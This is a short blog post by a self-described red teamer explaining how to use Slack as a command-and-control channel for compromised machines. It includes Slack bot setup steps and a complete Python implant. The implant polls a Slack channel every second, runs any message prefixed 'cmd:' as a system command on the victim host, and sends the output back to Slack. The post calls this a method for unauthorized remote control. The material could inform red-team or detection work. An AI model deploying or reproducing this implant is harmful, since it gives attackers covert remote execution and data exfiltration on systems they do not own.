Harnessing Slack for Secure Command and Control (C2)

Manas Ramesh
4 min readJan 13, 2024

--

Greetings,

In this blog post, I will guide you through the process of leveraging Slack for Command and Control (C2). First, let’s clarify what C2 entails.

What is Command and Control (C2)?

Command and Control (C2) is a cybersecurity term referring to the communication system used by attackers to control compromised systems remotely.

Slack as a Covert Channel: Unraveling the C2 Intricacies

Decoding the Logic of Slack as a C2 Framework

Embedded within the code lies a sophisticated utilization of Slack as a Command and Control (C2) channel, showcasing a shrewd approach to remote system control. The logic unfolds through sequential steps: initiation by creating a Slack application endowed with specific permissions, enabling interaction with channels and direct messages. Following deployment in a Slack group, essential identifiers are obtained. A purpose-built Python script then facilitates seamless communication between the Slack channel and the client system. Continuously monitoring the Slack group for incoming messages, the script interprets commands prefixed with “cmd:” to execute system commands and “msg:” to relay messages to the client. This ingenious application of Slack as a covert channel underscores a nuanced use of existing communication platforms for unauthorized remote control, highlighting the need for vigilant cybersecurity measures.

Step 1: Creating a Slack Application

  1. Log in to Slack at https://api.slack.com/apps and create a new application.
  2. Navigate to OAuth & Permissions and add the following permissions to Bot Token Scopes:
  • channels:history: View messages and content in public channels where the app is added.
  • chat:write: Send messages as the app.
  • commands: Add shortcuts and/or slash commands.
  • im:read: View basic information about direct messages.
  • im:write: Start direct messages with people.
  • Obtain the token ID from the created app.

Step 2: Deploy the Application in a Slack Group

Deploy the application in a Slack group and note the group ID.

Step 3: Python Script for Slack Communication

Create a Python script with the provided code. Replace the token ID and group ID in the script.

https://github.com/manasramesh/slack_c2


import subprocess
import time
from slack_sdk import WebClient
from slack_sdk.errors import SlackApiError


#write in group
def send_slack_message(channel_id, message_text):
"""Sends a message to the specified Slack channel."""

client = WebClient(token='paste the token here')
try:
response = client.chat_postMessage(
channel=channel_id,
text=message_text
)
return response
except SlackApiError as e:
print(f"Error sending message: {e}")




# Create a Slack client using an environment variable for the token
client = WebClient(token='paste the token here')

def read_slack(channel_id):
"""Reads recent messages from a specified Slack channel and returns them as an array.

Args:
channel_id (str): The ID of the channel to read messages from.

Returns:
list: An array of message dictionaries, with the latest message at index 1,
or an empty list if an error occurs.
"""

try:
response = client.conversations_history(channel=channel_id)
messages = response["messages"]

# Reverse the messages to have the latest first
messages.reverse()

# Create an array with the latest message at index 1
messages_array = [None] + messages # Pad with None at index 0

return messages_array

except SlackApiError as e:
command_output = "Error reading messages from Slack: {e}"
send_slack_message(channel_id, command_output)
return [] # Return an empty list on error


def worker(messages):
"""Processes the latest message from the Slack channel."""

if messages:
latest_message = messages[-1]
command_text = latest_message["text"][4:]

if latest_message and latest_message["text"].startswith("cmd:"):
#print("Command: " + command_text)
try:
command_args = command_text.split()
result = subprocess.run(command_args, capture_output=True, text=True)
command_output = result.stdout
except subprocess.CalledProcessError as e:
#print(f"Error executing command: {e}")
command_output = f"Error executing command: {e}"
send_slack_message(channel_id, command_output)
except FileNotFoundError as e:
#print(f"FileNotFoundError: {e}")
command_output = f"FileNotFoundError: {e}"
send_slack_message(channel_id, command_output)
#except missing_text_message
if not command_output: # Check if command_output is empty
error_message = "Command Executed, But no output"
command_output = error_message
#print(command_output)
send_slack_message(channel_id, command_output)
elif latest_message and latest_message["text"].startswith("msg:"):
print("Message: " + command_text)
command_output = "message " + command_text + " successfully shared"
send_slack_message(channel_id, command_output)




# Example usage:
channel_id = "channel id" # Replace with the actual channel ID
while True:
messages = read_slack(channel_id)
worker(messages)
time.sleep(1)

Step 4: Controlling the Client

Execute the script on the client system. Use the following commands to control the client:

  • To execute a command on the client: Type cmd: command in the Slack group.
  • To send a message to the client: Type msg: message in the Slack group.

Note: The script is not currently an interactive shell, but future updates will enhance its capabilities.

Note: Make sure to execute pip install slack_sdk on the client system before execution.

Thank you for reading! Stay tuned for more interactive features in upcoming script updates.

--

--

Manas Ramesh
Manas Ramesh

Written by Manas Ramesh

Security engineer | Technology enthusiast | Incident responder | Red teamer |

No responses yet